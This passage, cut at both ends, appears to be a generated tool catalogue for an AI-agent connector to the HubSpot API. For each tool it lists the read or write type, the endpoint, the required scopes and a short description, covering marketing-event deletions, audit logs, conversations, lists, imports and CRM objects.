forms. DELETE /api/v1/hubspot/marketing/v3/forms/{formId}. Scopes: forms. hubspot_delete_marketing_v3_marketing_events_associations_by_externalaccountid_by_externaleventid_lists_by_listid (write, destructive) — DESTRUCTIVE. Disassociate a list from a marketing event. Disassociates a list from a marketing event by external account id, external event id, and ILS list id Marketing events - webinars and similar - and their attendance state. Calls DELETE /marketing/v3/marketing-events/associations/{externalAccountId}/{externalEventId}/lists/{listId} on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. DELETE /api/v1/hubspot/marketing/v3/marketing-events/associations/{externalAccountId}/{externalEventId}/lists/{listId}. Scopes: crm.objects.marketing_events.write. hubspot_delete_marketing_v3_marketing_events_associations_by_marketingeventid_lists_by_listid (write, destructive) — DESTRUCTIVE. Disassociate a list from a marketing event. Disassociates a list from a marketing event by marketing event id and ILS list id Marketing events - webinars and similar - and their attendance state. Calls DELETE /marketing/v3/marketing-events/associations/{marketingEventId}/lists/{listId} on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. DELETE /api/v1/hubspot/marketing/v3/marketing-events/associations/{marketingEventId}/lists/{listId}. Scopes: crm.objects.marketing_events.write. hubspot_delete_marketing_v3_marketing_events_by_objectid (write, destructive) — DESTRUCTIVE. Delete Marketing Event by objectId. Deletes the existing Marketing Event with the specified objectId, if it exists. Marketing events - webinars and similar - and their attendance state. Calls DELETE /marketing/v3/marketing-events/{objectId} on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. DELETE /api/v1/hubspot/marketing/v3/marketing-events/{objectId}. Scopes: crm.objects.marketing_events.write. hubspot_delete_marketing_v3_marketing_events_events_by_externaleventid (write, destructive) — DESTRUCTIVE. Delete Marketing Event by External Ids. Deletes the existing Marketing Event with the specified externalAccountId, externalEventId, if it exists. Only Marketing Events created by the same app can be deleted. Marketing events - webinars and similar - and their attendance state. Calls DELETE /marketing/v3/marketing-events/events/{externalEventId} on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. DELETE /api/v1/hubspot/marketing/v3/marketing-events/events/{externalEventId}. Scopes: crm.objects.marketing_events.write. hubspot_get_account_info_v3_activity_audit_logs (read) — Retrieve audit logs. Retrieve activity history for user actions related to approvals, content updates, CRM object updates, security activity, and more (Enterprise only). Learn more about [activities included in audit log exports](https://knowledge.hubspot.com/account-management/view-and-export-account-activity-history-in-a-centralized-audit-log?hubs_content=knowledge.hubspot.com/account-management/view-and-export-account-activity-history&hubs_content-cta=centralized%20audit%20log#data-included-in-the-centralized-audit-log). The portal's audit trail. ADMIN-level data: every action every user took. Read-only. Calls GET /account-info/v3/activity/audit-logs on api.hubapi.com. Requires the HubSpot scope account-info.security.read. GET /api/v1/hubspot/account-info/v3/activity/audit-logs. Scopes: account-info.security.read. hubspot_get_account_info_v3_activity_login (read) — Retrieve login activity. Retrieve logs of user actions related to [login activity](https://knowledge.hubspot.com/account-management/view-and-export-account-activity-history#account-login-history). The portal's audit trail. ADMIN-level data: every action every user took. Read-only. Calls GET /account-info/v3/activity/login on api.hubapi.com. Requires the HubSpot scope account-info.security.read. GET /api/v1/hubspot/account-info/v3/activity/login. Scopes: account-info.security.read. hubspot_get_account_info_v3_activity_security (read) — Retrieve security history. Retrieve logs of user actions related to [security activity](https://knowledge.hubspot.com/account-management/view-and-export-account-activity-history#security-activity-history). The portal's audit trail. ADMIN-level data: every action every user took. Read-only. Calls GET /account-info/v3/activity/security on api.hubapi.com. Requires the HubSpot scope account-info.security.read. GET /api/v1/hubspot/account-info/v3/activity/security. Scopes: account-info.security.read. hubspot_get_account_info_v3_api_usage_daily_private_apps (read) — Retrieve private app daily API usage. Retrieve the daily API usage for private apps in the account, along with information about usage limits. Portal identity, currencies and enabled features. The cheapest diagnostic read in the connector: it answers 'which HubSpot account is this connection actually pointed at'. Calls GET /account-info/v3/api-usage/daily/private-apps on api.hubapi.com. Requires the HubSpot scope oauth. GET /api/v1/hubspot/account-info/v3/api-usage/daily/private-apps. Scopes: oauth. hubspot_get_account_info_v3_details (read) — Retrieve account details. Retrieve account details such as the account type, time zone, currencies, and data hosting location. Portal identity, currencies and enabled features. The cheapest diagnostic read in the connector: it answers 'which HubSpot account is this connection actually pointed at'. Calls GET /account-info/v3/details on api.hubapi.com. Requires the HubSpot scope oauth. GET /api/v1/hubspot/account-info/v3/details. Scopes: oauth. hubspot_get_business_units_v3_business_units_user_by_userid (read) — Retrieve brands by associated user. Retrieve the brands that a specific user can access. Business units - the multi-brand division of a portal. Calls GET /business-units/v3/business-units/user/{userId} on api.hubapi.com. Requires the HubSpot scope business_units_view.read. GET /api/v1/hubspot/business-units/v3/business-units/user/{userId}. Scopes: business_units_view.read. hubspot_get_communication_preferences_v4_definitions (read) — Retrieve all subscription status definitions. Get a list of subscription status definitions from the account. Communication preferences - a contact's subscription status per subscription type, and the legal basis recorded for it. This is the GDPR-relevant surface: read it before any send decision. Calls GET /communication-preferences/v4/definitions on api.hubapi.com. Requires the HubSpot scope communication_preferences.read. GET /api/v1/hubspot/communication-preferences/v4/definitions. Scopes: communication_preferences.read. hubspot_get_communication_preferences_v4_statuses_by_subscriberidstring (read) — Get subscription preferences for a specific contact. Retrieve a contact's current email subscription preferences. Communication preferences - a contact's subscription status per subscription type, and the legal basis recorded for it. This is the GDPR-relevant surface: read it before any send decision. Calls GET /communication-preferences/v4/statuses/{subscriberIdString} on api.hubapi.com. Requires the HubSpot scope communication_preferences.read. GET /api/v1/hubspot/communication-preferences/v4/statuses/{subscriberIdString}. Scopes: communication_preferences.read. hubspot_get_communication_preferences_v4_statuses_by_subscriberidstring_unsubscribe_all (read) — Retrieve a contact's unsubscribed status. Check whether a contact has unsubscribed from all email subscriptions. If a contact has not opted out of all communications, the response `results` array will be empty. Communication preferences - a contact's subscription status per subscription type, and the legal basis recorded for it. This is the GDPR-relevant surface: read it before any send decision. Calls GET /communication-preferences/v4/statuses/{subscriberIdString}/unsubscribe-all on api.hubapi.com. Requires the HubSpot scope communication_preferences.read. GET /api/v1/hubspot/communication-preferences/v4/statuses/{subscriberIdString}/unsubscribe-all. Scopes: communication_preferences.read. hubspot_get_conversations_v3_conversations_actors_by_actorid (read) — Get a single actor. Retrieve details of a single actor using the actor ID. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls GET /conversations/v3/conversations/actors/{actorId} on api.hubapi.com. Requires the HubSpot scope conversations.read. GET /api/v1/hubspot/conversations/v3/conversations/actors/{actorId}. Scopes: conversations.read. hubspot_get_conversations_v3_conversations_channel_accounts (read) — Get channel accounts. Retrieve a list of channel accounts, with optional filters and sorting. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls GET /conversations/v3/conversations/channel-accounts on api.hubapi.com. Requires the HubSpot scope conversations.read. GET /api/v1/hubspot/conversations/v3/conversations/channel-accounts. Scopes: conversations.read. hubspot_get_conversations_v3_conversations_channel_accounts_by_channelaccountid (read) — Get a single channel account. Retrieve details of a single channel account using the channel account ID. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls GET /conversations/v3/conversations/channel-accounts/{channelAccountId} on api.hubapi.com. Requires the HubSpot scope conversations.read. GET /api/v1/hubspot/conversations/v3/conversations/channel-accounts/{channelAccountId}. Scopes: conversations.read. hubspot_get_conversations_v3_conversations_channels (read) — Get channels. Retrieve a list of channels, with optional filters and sorting. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls GET /conversations/v3/conversations/channels on api.hubapi.com. Requires the HubSpot scope conversations.read. GET /api/v1/hubspot/conversations/v3/conversations/channels. Scopes: conversations.read. hubspot_get_conversations_v3_conversations_channels_by_channelid (read) — Get a single channel. Retrieve details of a single channel using the channel ID. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls GET /conversations/v3/conversations/channels/{channelId} on api.hubapi.com. Requires the HubSpot scope conversations.read. GET /api/v1/hubspot/conversations/v3/conversations/channels/{channelId}. Scopes: conversations.read. hubspot_get_conversations_v3_conversations_inboxes (read) — Get conversations inboxes. Retrieve a list of conversations inboxes, with optional filters and sorting. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls GET /conversations/v3/conversations/inboxes on api.hubapi.com. Requires the HubSpot scope conversations.read. GET /api/v1/hubspot/conversations/v3/conversations/inboxes. Scopes: conversations.read. hubspot_get_conversations_v3_conversations_inboxes_by_inboxid (read) — Get a single conversations inbox. Retrieve details of a single conversations inbox using the inbox ID. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls GET /conversations/v3/conversations/inboxes/{inboxId} on api.hubapi.com. Requires the HubSpot scope conversations.read. GET /api/v1/hubspot/conversations/v3/conversations/inboxes/{inboxId}. Scopes: conversations.read. hubspot_get_conversations_v3_conversations_threads (read) — Get threads. Retrieve a list of threads, with optional filters and sorting. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls GET /conversations/v3/conversations/threads on api.hubapi.com. Requires the HubSpot scope conversations.read. GET /api/v1/hubspot/conversations/v3/conversations/threads. Scopes: conversations.read. hubspot_get_conversations_v3_conversations_threads_by_threadid (read) — Get a single thread. Retrieve a single thread by its ID The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls GET /conversations/v3/conversations/threads/{threadId} on api.hubapi.com. Requires the HubSpot scope conversations.read. GET /api/v1/hubspot/conversations/v3/conversations/threads/{threadId}. Scopes: conversations.read. hubspot_get_conversations_v3_conversations_threads_by_threadid_messages (read) — Get message history for a thread. Retrieve the message history for a specific thread. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls GET /conversations/v3/conversations/threads/{threadId}/messages on api.hubapi.com. Requires the HubSpot scope conversations.read. GET /api/v1/hubspot/conversations/v3/conversations/threads/{threadId}/messages. Scopes: conversations.read. hubspot_get_conversations_v3_conversations_threads_by_threadid_messages_by_messageid (read) — Get a single message. Retrieve a single message from a thread using the message ID. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls GET /conversations/v3/conversations/threads/{threadId}/messages/{messageId} on api.hubapi.com. Requires the HubSpot scope conversations.read. GET /api/v1/hubspot/conversations/v3/conversations/threads/{threadId}/messages/{messageId}. Scopes: conversations.read. hubspot_get_conversations_v3_conversations_threads_by_threadid_messages_by_messageid_original_content (read) — Get the original content of a single message. Returns the complete original text and rich text bodies of a message. This will be different from the text and rich text in the message itself if the message's `truncationStatus` is anything other than `NOT_TRUNCATED`. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls GET /conversations/v3/conversations/threads/{threadId}/messages/{messageId}/original-content on api.hubapi.com. Requires the HubSpot scope conversations.read. GET /api/v1/hubspot/conversations/v3/conversations/threads/{threadId}/messages/{messageId}/original-content. Scopes: conversations.read. hubspot_get_crm_associations_v4_by_fromobjecttype_by_toobjecttype_labels (read) — Retrieve association labels. Retrieve all labels that describe the relationships between two specified CRM object types. These labels provide context about the nature of the associations. Association LABELS and definitions: the vocabulary of association types the portal allows, and which pairs of object types may be associated at all. Calls GET /crm/associations/v4/{fromObjectType}/{toObjectType}/labels on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets, crm.objects.line_items.read, crm.objects.quotes.read, crm.objects.custom.read. GET /api/v1/hubspot/crm/associations/v4/{fromObjectType}/{toObjectType}/labels. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.custom.read, crm.objects.deals.read, crm.objects.line_items.read, crm.objects.quotes.read, tickets. hubspot_get_crm_associations_v4_definitions_configurations_all (read) — Retrieve all association limits. Retrieve all configured association limits between objects, which include details about how different CRM object types are associated with each other. Association LABELS and definitions: the vocabulary of association types the portal allows, and which pairs of object types may be associated at all. Calls GET /crm/associations/v4/definitions/configurations/all on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/associations/v4/definitions/configurations/all. Scopes: crm.objects.contacts.read. hubspot_get_crm_associations_v4_definitions_configurations_by_fromobjecttype_by_toobjecttype (read) — Retrieve association limits. Retrieve the configuration details for associations between two specified CRM object types. Use this endpoint to understand limits that have been set for specific association types. Association LABELS and definitions: the vocabulary of association types the portal allows, and which pairs of object types may be associated at all. Calls GET /crm/associations/v4/definitions/configurations/{fromObjectType}/{toObjectType} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets, crm.objects.line_items.read, crm.objects.quotes.read, crm.objects.custom.read. GET /api/v1/hubspot/crm/associations/v4/definitions/configurations/{fromObjectType}/{toObjectType}. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.custom.read, crm.objects.deals.read, crm.objects.line_items.read, crm.objects.quotes.read, tickets. hubspot_get_crm_extensions_calling_v3_connection_statuses (read) — Call transcription records and their text. Calls GET /crm/extensions/calling/v3/connection-statuses on api.hubapi.com. Requires the HubSpot scope crm.objects.owners.read. GET /api/v1/hubspot/crm/extensions/calling/v3/connection-statuses. Scopes: crm.objects.owners.read. hubspot_get_crm_extensions_calling_v3_connection_statuses_me (read) — Call transcription records and their text. Calls GET /crm/extensions/calling/v3/connection-statuses/me on api.hubapi.com. Requires the HubSpot scope crm.objects.owners.read. GET /api/v1/hubspot/crm/extensions/calling/v3/connection-statuses/me. Scopes: crm.objects.owners.read. hubspot_get_crm_object_schemas_v3_schemas (read) — Retrieve all custom object schemas. Retrieve all custom object schemas, with options to include property definitions, association definitions, and audit metadata. Custom OBJECT TYPE definitions - the schema of a customer-defined object, not its records. This is what names the objectTypeId the generic object operations take. Calls GET /crm-object-schemas/v3/schemas on api.hubapi.com. Requires the HubSpot scope crm.schemas.custom.read. GET /api/v1/hubspot/crm-object-schemas/v3/schemas. Scopes: crm.schemas.custom.read. hubspot_get_crm_object_schemas_v3_schemas_by_objecttype (read) — Retrieve the schema of a specified custom object. Retrieve details of a custom object schema, including its properties and associations, using the object type ID or fully qualified name. Custom OBJECT TYPE definitions - the schema of a customer-defined object, not its records. This is what names the objectTypeId the generic object operations take. Calls GET /crm-object-schemas/v3/schemas/{objectType} on api.hubapi.com. Requires the HubSpot scope crm.schemas.custom.read. GET /api/v1/hubspot/crm-object-schemas/v3/schemas/{objectType}. Scopes: crm.schemas.custom.read. hubspot_get_crm_objects_2026_03_subscriptions (read) — Retrieve a list of subscription objects. Retrieve a list of subscription objects, with options to filter by properties, associations, and archived status. Recurring Commerce Hub subscriptions. Calls GET /crm/objects/2026-03/subscriptions on api.hubapi.com. Requires the HubSpot scope crm.objects.subscriptions.read. GET /api/v1/hubspot/crm/objects/2026-03/subscriptions. Scopes: crm.objects.subscriptions.read. hubspot_get_crm_objects_2026_03_subscriptions_by_subscriptionid (read) — Retrieve a subscription. Retrieve a specific subscription by its ID, including its properties and associations. Recurring Commerce Hub subscriptions. Calls GET /crm/objects/2026-03/subscriptions/{subscriptionId} on api.hubapi.com. Requires the HubSpot scope crm.objects.subscriptions.read. GET /api/v1/hubspot/crm/objects/2026-03/subscriptions/{subscriptionId}. Scopes: crm.objects.subscriptions.read. hubspot_get_crm_objects_v3_projects (read) — List. Read a page of projects. Control what is returned via the `properties` query param. Projects are the Service Hub project object. Calls GET /crm/objects/v3/projects on api.hubapi.com. Requires the HubSpot scope crm.objects.projects.read. GET /api/v1/hubspot/crm/objects/v3/projects. Scopes: crm.objects.projects.read. hubspot_get_crm_objects_v3_projects_by_projectid (read) — Read. Read an Object identified by `{projectId}`. `{projectId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Projects are the Service Hub project object. Calls GET /crm/objects/v3/projects/{projectId} on api.hubapi.com. Requires the HubSpot scope crm.objects.projects.read. GET /api/v1/hubspot/crm/objects/v3/projects/{projectId}. Scopes: crm.objects.projects.read. hubspot_get_crm_v3_exports_export_async_tasks_by_taskid_status (read) — Get the status of the export including the URL to download the file. Returns the status of the export with taskId, including the URL of the resulting file if the export status is COMPLETE Bulk export jobs for CRM data. Calls GET /crm/v3/exports/export/async/tasks/{taskId}/status on api.hubapi.com. Requires the HubSpot scope crm.export. GET /api/v1/hubspot/crm/v3/exports/export/async/tasks/{taskId}/status. Scopes: crm.export. hubspot_get_crm_v3_exports_export_by_exportid (read) — Retrieve details of a specific export by its unique ID. Retrieve detailed information about a specific CRM export, including its current state and properties. Bulk export jobs for CRM data. Calls GET /crm/v3/exports/export/{exportId} on api.hubapi.com. Requires the HubSpot scope crm.export. GET /api/v1/hubspot/crm/v3/exports/export/{exportId}. Scopes: crm.export. hubspot_get_crm_v3_extensions_calling_transcripts_by_transcriptid (read) — Call transcription records and their text. Calls GET /crm/v3/extensions/calling/transcripts/{transcriptId} on api.hubapi.com. Requires the HubSpot scope crm.extensions_calling_transcripts.read. GET /api/v1/hubspot/crm/v3/extensions/calling/transcripts/{transcriptId}. Scopes: crm.extensions_calling_transcripts.read. hubspot_get_crm_v3_imports (read) — Bulk import jobs: start one, watch it, read its errors. The error read is the diagnostic that turns a failed import from a status into a cause. Calls GET /crm/v3/imports on api.hubapi.com. Requires the HubSpot scope crm.import. GET /api/v1/hubspot/crm/v3/imports. Scopes: crm.import. hubspot_get_crm_v3_imports_by_importid (read) — Get the information on any import. A complete summary of an import record, including any updates. Bulk import jobs: start one, watch it, read its errors. The error read is the diagnostic that turns a failed import from a status into a cause. Calls GET /crm/v3/imports/{importId} on api.hubapi.com. Requires the HubSpot scope crm.import. GET /api/v1/hubspot/crm/v3/imports/{importId}. Scopes: crm.import. hubspot_get_crm_v3_imports_by_importid_errors (read) — Retrieve errors for a specific import. Retrieves detailed error records for a specific import operation, enabling you to identify and troubleshoot records that failed during processing. Bulk import jobs: start one, watch it, read its errors. The error read is the diagnostic that turns a failed import from a status into a cause. Calls GET /crm/v3/imports/{importId}/errors on api.hubapi.com. Requires the HubSpot scope crm.import. GET /api/v1/hubspot/crm/v3/imports/{importId}/errors. Scopes: crm.import. hubspot_get_crm_v3_lists (read) — Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls GET /crm/v3/lists on api.hubapi.com. Requires the HubSpot scope crm.lists.read. GET /api/v1/hubspot/crm/v3/lists. Scopes: crm.lists.read. hubspot_get_crm_v3_lists_by_listid (read) — Fetch List by ID. Fetch a single list by **ILS list ID**. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls GET /crm/v3/lists/{listId} on api.hubapi.com. Requires the HubSpot scope crm.lists.read. GET /api/v1/hubspot/crm/v3/lists/{listId}. Scopes: crm.lists.read. hubspot_get_crm_v3_lists_by_listid_memberships (read) — Fetch List Memberships Ordered by ID. Fetch the memberships of a list in order sorted by the `recordId` of the records in the list. The `recordId`s are sorted in *ascending* order if an `after` offset or no offset is provided. If only a `before` offset is provided, then the records are sorted in *descending* order. The `after` offset parameter will take precedence over the `before` offset in a case where both are provided. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls GET /crm/v3/lists/{listId}/memberships on api.hubapi.com. Requires the HubSpot scope crm.lists.read. GET /api/v1/hubspot/crm/v3/lists/{listId}/memberships. Scopes: crm.lists.read. hubspot_get_crm_v3_lists_by_listid_memberships_join_order (read) — Fetch List Memberships Ordered by Added to List Date. Fetch the memberships of a list in order sorted by the time the records were added to the list. The `recordId`s are sorted in *ascending* order if an `after` offset or no offset is provided. If only a `before` offset is provided, then the records are sorted in *descending* order. The `after` offset parameter will take precedence over the `before` offset in a case where both are provided. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls GET /crm/v3/lists/{listId}/memberships/join-order on api.hubapi.com. Requires the HubSpot scope crm.lists.read. GET /api/v1/hubspot/crm/v3/lists/{listId}/memberships/join-order. Scopes: crm.lists.read. hubspot_get_crm_v3_lists_by_listid_schedule_conversion (read) — Retrieve the conversion details for a list. Retrieve the conversion details for a list. This can be used to check for an upcoming conversion, or to get the details of when a list was already converted. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls GET /crm/v3/lists/{listId}/schedule-conversion on api.hubapi.com. Requires the HubSpot scope crm.lists.read. GET /api/v1/hubspot/crm/v3/lists/{listId}/schedule-conversion. Scopes: crm.lists.read. hubspot_get_crm_v3_lists_by_listid_size_and_edits_history_between (read) — Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls GET /crm/v3/lists/{listId}/size-and-edits-history/between on api.hubapi.com. Requires the HubSpot scope crm.lists.read. GET /api/v1/hubspot/crm/v3/lists/{listId}/size-and-edits-history/between. Scopes: crm.lists.read. hubspot_get_crm_v3_lists_folders (read) — Retrieves a folder. Retrieves a folder and recursively includes all folders via the childNodes attribute. The child lists field will be empty in all child nodes. Only the folder retrieved will include the child lists in that folder. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls GET /crm/v3/lists/folders on api.hubapi.com. Requires the HubSpot scope crm.lists.read. GET /api/v1/hubspot/crm/v3/lists/folders. Scopes: crm.lists.read. hubspot_get_crm_v3_lists_idmapping (read) — Translate Legacy List Id to Modern List Id. This API allows translation of legacy list id to list id. This is a temporary API allowed for mapping old id's to new id's and will expire on May 30th, 2025. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls GET /crm/v3/lists/idmapping on api.hubapi.com. Requires the HubSpot scope crm.lists.read. GET /api/v1/hubspot/crm/v3/lists/idmapping. Scopes: crm.lists.read. hubspot_get_crm_v3_lists_object_type_id_by_objecttypeid_name_by_listname (read) — Retrieve List by Name. Retrieve a specific list by its name and object type ID. This endpoint allows you to fetch details about a list, including its properties and optionally its filters. It is useful for accessing list information based on specific criteria. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls GET /crm/v3/lists/object-type-id/{objectTypeId}/name/{listName} on api.hubapi.com. Requires the HubSpot scope crm.lists.read. GET /api/v1/hubspot/crm/v3/lists/object-type-id/{objectTypeId}/name/{listName}. Scopes: crm.lists.read. hubspot_get_crm_v3_lists_records_by_objecttypeid_by_recordid_memberships (read) — Get lists record is member of. For given record provide lists this record is member of. Lists are HubSpot's saved segments - static and active. List membership reads produce the record ids a campaign or a bulk update operates on. Calls GET /crm/v3/lists/records/{objectTypeId}/{recordId}/memberships on api.hubapi.com. Requires the HubSpot scope crm.lists.read. GET /api/v1/hubspot/crm/v3/lists/records/{objectTypeId}/{recordId}/memberships. Scopes: crm.lists.read. hubspot_get_crm_v3_object_library_enablement (read) — Which object types are enabled in this portal - the read that tells an agent what exists before it asks for it. Calls GET /crm/v3/object-library/enablement on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/object-library/enablement. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_object_library_enablement_by_objecttypeid (read) — Which object types are enabled in this portal - the read that tells an agent what exists before it asks for it. Calls GET /crm/v3/object-library/enablement/{objectTypeId} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets, crm.objects.line_items.read, crm.objects.quotes.read, crm.objects.custom.read. GET /api/v1/hubspot/crm/v3/object-library/enablement/{objectTypeId}. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.custom.read, crm.objects.deals.read, crm.objects.line_items.read, crm.objects.quotes.read, tickets. hubspot_get_crm_v3_objects_0_162 (read) — List. Read a page of services. Control what is returned via the `properties` query param. Services are the service object type. Calls GET /crm/v3/objects/0-162 on api.hubapi.com. Requires the HubSpot scope crm.objects.services.read. GET /api/v1/hubspot/crm/v3/objects/0-162. Scopes: crm.objects.services.read. hubspot_get_crm_v3_objects_0_162_by_serviceid (read) — Read. Read an Object identified by `{serviceId}`. `{serviceId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Services are the service object type. Calls GET /crm/v3/objects/0-162/{serviceId} on api.hubapi.com. Requires the HubSpot scope crm.objects.services.read. GET /api/v1/hubspot/crm/v3/objects/0-162/{serviceId}. Scopes: crm.objects.services.read. hubspot_get_crm_v3_objects_0_3 (read) — List. Read a page of deals. Control what is returned via the `properties` query param. Deals are the revenue pipeline. HubSpot addresses the deal object by its internal object type id `0-3`, which is why these paths read /crm/v3/objects/0-3 rather than /deals; both forms are accepted by HubSpot and 0-3 is what its own v3 specification publishes. Calls GET /crm/v3/objects/0-3 on api.hubapi.com. Requires the HubSpot scope crm.objects.deals.read. GET /api/v1/hubspot/crm/v3/objects/0-3. Scopes: crm.objects.deals.read. hubspot_get_crm_v3_objects_0_3_by_dealid (read) — Read. Read an Object identified by `{dealId}`. `{dealId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Deals are the revenue pipeline. HubSpot addresses the deal object by its internal object type id `0-3`, which is why these paths read /crm/v3/objects/0-3 rather than /deals; both forms are accepted by HubSpot and 0-3 is what its own v3 specification publishes. Calls GET /crm/v3/objects/0-3/{dealId} on api.hubapi.com. Requires the HubSpot scope crm.objects.deals.read. GET /api/v1/hubspot/crm/v3/objects/0-3/{dealId}. Scopes: crm.objects.deals.read. hubspot_get_crm_v3_objects_0_410 (read) — List. Read a page of courses. Control what is returned via the `properties` query param. Courses are the education object type. Calls GET /crm/v3/objects/0-410 on api.hubapi.com. Requires the HubSpot scope crm.objects.courses.read. GET /api/v1/hubspot/crm/v3/objects/0-410. Scopes: crm.objects.courses.read. hubspot_get_crm_v3_objects_0_410_by_courseid (read) — Read. Read an Object identified by `{courseId}`. `{courseId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Courses are the education object type. Calls GET /crm/v3/objects/0-410/{courseId} on api.hubapi.com. Requires the HubSpot scope crm.objects.courses.read. GET /api/v1/hubspot/crm/v3/objects/0-410/{courseId}. Scopes: crm.objects.courses.read. hubspot_get_crm_v3_objects_0_420 (read) — List. Read a page of listings. Control what is returned via the `properties` query param. Listings are the real-estate object type. Calls GET /crm/v3/objects/0-420 on api.hubapi.com. Requires the HubSpot scope crm.objects.listings.read. GET /api/v1/hubspot/crm/v3/objects/0-420. Scopes: crm.objects.listings.read. hubspot_get_crm_v3_objects_0_420_by_listingid (read) — Read. Read an Object identified by `{listingId}`. `{listingId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Listings are the real-estate object type. Calls GET /crm/v3/objects/0-420/{listingId} on api.hubapi.com. Requires the HubSpot scope crm.objects.listings.read. GET /api/v1/hubspot/crm/v3/objects/0-420/{listingId}. Scopes: crm.objects.listings.read. hubspot_get_crm_v3_objects_by_objecttype (read) — List. Read a page of objects. Control what is returned via the `properties` query param. The GENERIC CRM object API. `objectType` is an argument, so these operations reach ANY object type in the portal - the standard ones and every custom object the customer has defined. This is the only way a custom object is reachable at all. Because the object type is chosen at call time the credential has to cover every type the caller may name, which is why these carry the core object scopes rather than one. Calls GET /crm/v3/objects/{objectType} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets, crm.objects.line_items.read, crm.objects.quotes.read, crm.objects.custom.read. GET /api/v1/hubspot/crm/v3/objects/{objectType}. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.custom.read, crm.objects.deals.read, crm.objects.line_items.read, crm.objects.quotes.read, tickets. hubspot_get_crm_v3_objects_by_objecttype_by_objectid (read) — Read. Read an Object identified by `{objectId}`. `{objectId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. The GENERIC CRM object API. `objectType` is an argument, so these operations reach ANY object type in the portal - the standard ones and every custom object the customer has defined. This is the only way a custom object is reachable at all. Because the object type is chosen at call time the credential has to cover every type the caller may name, which is why these carry the core object scopes rather than one. Calls GET /crm/v3/objects/{objectType}/{objectId} on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.read, crm.objects.companies.read, crm.objects.deals.read, tickets, crm.objects.line_items.read, crm.objects.quotes.read, crm.objects.custom.read. GET /api/v1/hubspot/crm/v3/objects/{objectType}/{objectId}. Scopes: crm.objects.companies.read, crm.objects.contacts.read, crm.objects.custom.read, crm.objects.deals.read, crm.objects.line_items.read, crm.objects.quotes.read, tickets. hubspot_get_crm_v3_objects_calls (read) — List. Read a page of calls. Control what is returned via the `properties` query param. Call engagements: logged calls with their disposition, duration and recording metadata. Gated on the contacts scope. Calls GET /crm/v3/objects/calls on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.read. GET /api/v1/hubspot/crm/v3/objects/calls. Scopes: crm.objects.contacts.read. hubspot_get_crm_v3_objects_calls_by_callid (read) — Read. Read an Object identified by `{callId}`. `{callId}` refers to the internal object ID by default, or optionally any unique property value as specified by the `idProperty` query param. Control what is returned via the `properties` query param. Call engagements: logged calls with their disposition, duration and recording metadata. Gated on the contacts scope. Calls GET /crm/v3/objects/calls/{callId} on api.hubapi.com. Requires the HubSpot 